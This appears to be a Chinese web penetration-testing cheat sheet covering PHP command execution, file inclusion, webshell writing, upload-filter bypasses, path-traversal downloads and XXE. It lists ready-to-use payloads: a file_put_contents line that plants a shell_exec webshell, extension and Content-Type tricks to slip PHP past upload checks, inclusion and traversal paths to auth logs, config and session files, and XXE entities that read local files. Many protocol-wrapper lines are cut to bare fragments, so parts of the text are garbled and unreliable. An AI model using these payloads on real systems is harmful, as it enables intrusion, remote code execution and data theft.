命令执行
1.系统命令执行
system('whoami')
passthru('whoami')
echo exec('whoami')
echo shell_exec('whoami')
$a=$_POST['a']
echo `$a`
$handle = popen($_POST['a'], 'r');
while (!feof($handle)) {
$output = fgets($handle);
echo $output;
}
2.php代码执行
eval('phpinfo();')
assert('phpinfo()')
3.文件读取
file_get_contents(),highlight_file(),fopen(),readfile(),
fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
4.PHP代码执行的危险函数
call_user_func() call_user_func_array()
create_function() array_map()
文件包含漏洞
前提
1.php.ini开启
allow_url_fopen=On 开启本地文件包含传参功能: include $_GET['a']比如a=/opt/xx.ini
allow_url_include=On 开启远程文件包含传参功能: $_GET['a']比如a=http:
xx.txt内容输出的页面源代码应为一句话木马
2.后端 include($_GET['a']);支持相对路径
require()、require_once()、 include()、include_once())
a=/var/logs/apache/access_log
a=
/var/log/secure
/var/log/auth.log
/etc/my.cnf
cmd
copy xx.jpg
在muma.php头部 添加 GIF98a 然后重命名为muma.gif也可以
a=temp/muma.jpg
apache的php 默认session命名 sess_76dl8cf3i15ovfi1ujurholth8
浏览器cookie为PHPSESSID=76dl8cf3i15ovfi1ujurholth8
sess_76dl8cf3i15ovfi1ujurholth8
a=
../../../../
echo __FILE__;
echo show_source(__FILE__);
写木马
file_put_contents('./muma.php','<?php phpinfo();?>') file_put_contents('./muma.php','<?php echo shell_exec($_POST['."'a'".']);?>')?>
PHP伪协议php:
file:
a=file:
http:
http:
http:
http:
https:
https:
https:
ftp:
ftp:
ftp:
ftps:
ftps:
php:
php:
post内容 <?php phpinfo();?>;
<?php echo __FILE__;?> 输出为php:
php:
是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区
php:
以base64读取源码文件,支持相对路径
php:
data:
data:
data:
data:
glob:
phar:
phar:
ssh2:
ssh2.shell:
ssh2.exec:
ssh2.tunnel:
ssh2.sftp:
文件上传漏洞
后端
$_FILES['name属性值']['name']
$_FILES['name属性值']['tmp_name']
临时文件存活时间取决于后台php脚本文件运行的时间
$_FILES['name属性值']['type']
move_uploaded_file('源路径','目的路径')
getimagesize() 是会检测字节流的图片控制位获取像素MIME等信息,不能只改文本文件的后缀名
二次渲染图片 imagecreatefromjpeg()
绕过
1.到burp在修改后缀名
.pHP
.php.
.php. .
.php\r\n
.php\r\n.jpg
.php%00.jpg
.php空格 linux 支持文件尾有空格 Windows自动清除
.php::$DATA Windows
.php .phtml .php3 .php4 .php5 .php4 .php3 .php2 .htaccess .user.ini
2.修改Content-Type
3.图片马,搭配包含漏洞; 或者GIF98a开头.gif
4.后缀名改为 xx.php.jpg httpd.conf默认会依次解析后缀名
5.二次渲染绕过:把渲染过的图片下载下来再找合适的位置插入代码即可,再重新上传
6. .htacess和.user.ini 控制器配置
7.白盒测试条件竞争
文件下载漏洞
前提路径用户可控,未过滤..
后端
$file_path =$_GET['filename'];I
Header("Content-type:application/octet-stream");
Header("Content-Disposition:attachment;filename=".basename($file_path));
echo file_get_contents($file_path);
../../../../../../root/.xxx 可以目录穿越
~/.xxx
XXE
内部实体包含
<?xml version ="1.0"?>
<!DOCTYPE note [<!ENTITY cc "aa">]>
<na>&cc;</na>
外部实体包含
<?xml version ="1.0"?>
<!DOCTYPE ANY [<!ENTITY cc SYSTEM "file:///C:/Users/Administrator/Desktop/xx.txt">]>
<na>&cc;</na>
有些服务器接收到外部实体的数据注入后,
便会执行 file:///C://Windows//win.ini读取后放入<x></x>标签
有可能回显到浏览器
支持协议:file:// http:// php:filter://read=convert.base64-encode/resource=
外部实体关键字 SYSTEM/PUBLIC
<!ENTITY cc PUBLIC 'PUBLIC_ID' 'URL'>同上
敏感信息泄露
由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
-- 通过访问url下的目录,可以直接列出目录下的文件列表;
-- 输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
-- 前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;
因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。